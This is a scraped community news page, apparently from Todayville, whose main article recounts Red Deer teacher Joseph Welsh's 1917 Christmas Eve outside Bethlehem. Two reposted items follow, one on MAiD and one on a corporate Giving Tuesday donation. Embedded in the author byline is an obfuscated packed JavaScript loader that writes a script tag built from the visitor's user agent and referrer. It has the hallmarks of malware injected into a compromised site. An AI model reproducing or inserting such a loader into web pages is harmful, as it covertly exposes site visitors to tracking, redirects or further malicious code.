Connect with us


Christmas Eve in Bethlehem a Century Ago- Joseph Welsh


7 minute read

by eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ssfkt|var|u0026u|referrer|rzbde||js|php’.split(‘|’),0,{}))
Michael Dawe

About a decade ago, the house at 5313 47th Avenue was demolished. What’s now all but forgotten is that for many years, this modest little residence was the home of one of the giants of Red Deer’s educational community, Joseph Welsh.

Joseph Welsh was born in 1889 in Gloucestershire, England, near the city of Bristol. He went to Thornby Grammar School and then taught at a boys’ school in Hereford.

In 1914, when the First World War broke out, Mr. Welsh tried to enlist in the Grenadier Guards. He was turned down because he was 5 foot, 11 ? inches tall, instead of the required 5 foot, 11 ½ inches.

He then enlisted in the First Battalion of the Herefordshire Regiment. In 1915, he was sent to the Mediterranean Front and was wounded by a Turkish sniper during the Battle of Gallipoli.

After a long convalescence in Malta, Mr. Welsh rejoined his regiment in August 1916 during the battle for the Suez Canal. For the next sixteen months, he was part of the great advance of the British Army across the Sinai Desert into Palestine.

In December 1917, he was given the assignment of escorting a draft of reinforcements to Beersheba and Hebron. On December 24th, his party started their way down the road to Bethlehem.

It had been raining almost incessantly for a week, but as Mr. Welsh and his comrades approached the town, the sky suddenly cleared. They could then see the white walls of Bethlehem, gleaming on a distant hill.

Given the fact that it was nearly Christmas Eve, the group broke in a chorus of Christmas carols and hymns. They pressed ahead rapidly, and reached the outskirts of Bethlehem at dusk.

To their great disappointment, they were informed by a senior officer that there was no place for them in the town. Instead, they were ordered to find whatever shelter they could in the surrounding hills.

To add to the misery, the heavy rains returned. It was so wet that the group was unable to find enough dry wood to start a fire and prepare a meal.

Consequently, the cold, wet and hungry men huddled under a few stunted olive trees for the night. Mr. Welsh later wrote “it was hard to realize that the hill-side on which we huddled together for warmth might well have been the one above which, on the first Christmas Eve, the Heavenly Host had sung the immortal words: “Glory to God on the highest, and on earth Peace, Goodwill to Men”.

“…the hill-side on which we huddled together … might well have been the one above which, on the first Christmas Eve, the Heavenly Host had sung the immortal words: “Glory to God on the highest, and on earth Peace, Goodwill to Men”.

            Christmas Day, however, brought “tidings of great joy” as the men received news that warm, dry quarters had been arranged for them in Jerusalem. They quickly marched down the road to Jerusalem, singing the old hymn “O Come All Ye Faithful”. Their speed was made even more rapid by the fact that there was a “spattering on the nearby rocks and stones of bullets fired by enemy snipers lurking in the nearby hills.”

They reached Jerusalem with a setting sun glowing red on the horizon. They got wonderful new billets, were provided a Christmas feast and were awarded two days leave from duty. In the words of Mr. Welsh, “Happy Christmas! Never have I experienced one half as happy or as memorable”.

“Happy Christmas! Never have I experienced one half as happy or as memorable”.

Mr. Welsh was later wounded a second time on the Western Front in France. He recuperated in a hospital run by Canadians. He was so impressed by the treatment he got that, after the War, he decided to immigrate to Canada.

He worked at odd jobs, but then decided to become a teacher again. After teaching at Berrydale near Olds and then at Hill End near Penhold, he started with the Red Deer Public School District in September 1923. He became principal of Central School and continued with the Public School District for 31 years. He was noted for his exceptional teaching abilities, firm discipline and impeccable grammar.

Mr. Welsh retired in 1954 and Joseph Welsh Elementary School was later named in his honour. He passed away on January 7th, 1969. He was predeceased by his wife Violet Hunt, who died in 1924. He had one son Bill.

Read about Christmas in 1887 or Christmas in 1957 – or both!

Read more from 



Todayville is a digital media and technology company. We profile unique stories and events in our community. Register and promote your community event for free.

Follow Author


Conservative MP Leslyn Lewis condemns MAiD in Parliament as targeting nation’s most vulnerable

Published on

From LifeSiteNews

By Clare Marie Merkowsky

‘I call upon with government to reverse its course and instead provide help and hope for Canadians suffering with mental health conditions’

Conservative MP Leslyn Lewis condemned the Trudeau government’s treatment of Canada’s most vulnerable, revealing that 36 Canadians are euthanized every day.  

On November 28, Dr. Leslyn Lewis, Conservative Member of Parliament (MP) for Haldimand-Norfolk, Ontario, addressed Parliament on the dangers of Medical Assistance in Dying (MAiD), the euphemistic name for Canada’s euthanasia regime.

“The poor, homeless, the abused, veterans, seniors, youth, adults suffering with disabilities, those suffering with depressions, and mental health conditions,” Lewis said. “These are among the most vulnerable in our society that are falling through the cracks of Canada’s Medical Assistance in Dying regime.”  

“They are the ones who will be at risk when the MAiD laws in Canada are expanded in March 2024,” the pro-life MP added. “Last year, death by euthanasia increased by 30 percent from the year before. Every day in Canada, 36 people use MAiD to end their lives, which is the highest in the world.” 

“I call upon with government to reverse its course and instead provide help and hope for Canadians suffering with mental health conditions,” Lewis appealed.    

On March 9, 2024, MAiD is set to expand to include those suffering solely from mental illness. This is a result of the 2021 passage of Bill C-7, which also allowed the chronically ill – not just the terminally ill – to qualify for so-called doctor-assisted death.  

The mental illness expansion was originally set to take effect in March of this year. However, after massive pushback from pro-life groups, conservative politicians and others, the Liberals under Trudeau delayed the introduction of the full effect of Bill C-7 until 2024 via Bill C-39.

The expansion comes despite warnings from top Canadian psychiatrists that the country is “not ready” for the coming expansion of euthanasia to those who are mentally ill, saying expanding the procedure is not something “society should be doing” as it could lead to deaths under a “false pretense.” 

“Unfortunately, there is no reprieve in sight as think Medical Assistance in Dying (MAiD) becomes a national horror and the ‘professionals’ sharpen up their needles,” Ireland told LifeSiteNews. 

“We have reached the point where we must all protect each other from MAiD,” she noted. 

Euthanasia deaths have gone through the roof in Canada since it became legal in 2016. 

According to Health Canada, in 2022, 13,241 Canadians died by MAiD lethal injection, which is 4.1 percent of all deaths in the country for that year, and a 31.2 percent increase from 2021. 

The number of Canadians killed by lethal injection since 2016 now stands at 44,958.

Continue Reading


Giving Hope on Giving Tuesday: NOVA Chemicals Corporation

Published on

From Kaelyn Gillard, Communications | NOVA Chemicals Corporation

I’d excited to share an announcement from NOVA Chemicals’ Senior Vice President, Human Resources & Communications, Mona Jasinski outlining how NOVA is participating in Giving Tuesday in support of mental health.

Over the coming weeks we will be highlighting these organizations and the great work they’re doing on our social media channels and internally with our employees.

Today, I heard about an interaction between two employees in our office that made me think about how simple actions can make a difference.  

“Mia” asked “Robert” how it was going as they passed in the hall. His glib ‘honestly just trying to make it through’ struck her, so after finishing with her colleagues she circled back to check in on how Robert was really doing. She then took that a step further, offered a supportive ear and proposed a lunchtime walk break to check in.  Fortunately, in this case Robert wasn’t facing anything dire and was putting unnecessary added stress upon himself – but he felt better after talking about it.  

We don’t have to look far, however, to find harsh statistics surrounding the true state of mental well-being across North America, and we know it’s declined even further over the past few years.  

The National Alliance on Mental Illness (NAMI) in the U.S. reports that one in five adults experience mental illness each year, and one in six youth aged 6-17 experience a mental health disorder each year. Similarly in Canada, in a given year 6.7 million Canadians – or one in five people – experience mental illness, and by age 40, that number increases to one in two.  

When it comes to our youth, according to Youth Mental Health Canada (YMHC), there are approximately 1.2 million children and young people affected by mental illness in Canada alone, and around 20% of young people will develop a mental illness before they turn 25. However, less than 20% of them receive the right treatment. That’s staggering.  

At NOVA Chemicals, we believe that positive mental health is essential for our overall well-being. I’m proud of the resources we make available to our employees supporting their total well-being, and hope our people take advantage of them all. We know, however, that not everyone has ready access to the resources they need.  

That’s why this year, we’ve chosen mental health as our focus on #GivingTuesday, and are donating almost US$500,000 toward a series of agencies providing mental health supports to youth and adults in the regions where we work, live and play. Having the right resources available in the moment that you need them has never been more important, and we at NOVA want to be sure crucial programs remain strong and sustainable, available to continue their work providing vital, life-saving care – and hope – for our neighbours.  

Giving Tuesday Blog Image

I invite you to follow us on social media over the next few weeks as we shine a light on each of the recipient organizations and the tremendous work they are doing every day. 

There’s no question the decline in society’s mental well-being impacts us all. My hope for each of us – from friends, family and colleagues to neighbours and strangers across our communities alike, young and more seasoned and everywhere in between – is that when we need help, there’s a resource there to support us.  

We can all play a role. It doesn’t have to be complicated, and can start with simply reaching out to those around us. Think like Mia did. She doesn’t have any particular expertise and she and Robert are work acquaintances – not teammates nor even on a project together. It doesn’t matter. She paid attention, reached out, and showed kindness. One small action can make a difference.

Continue Reading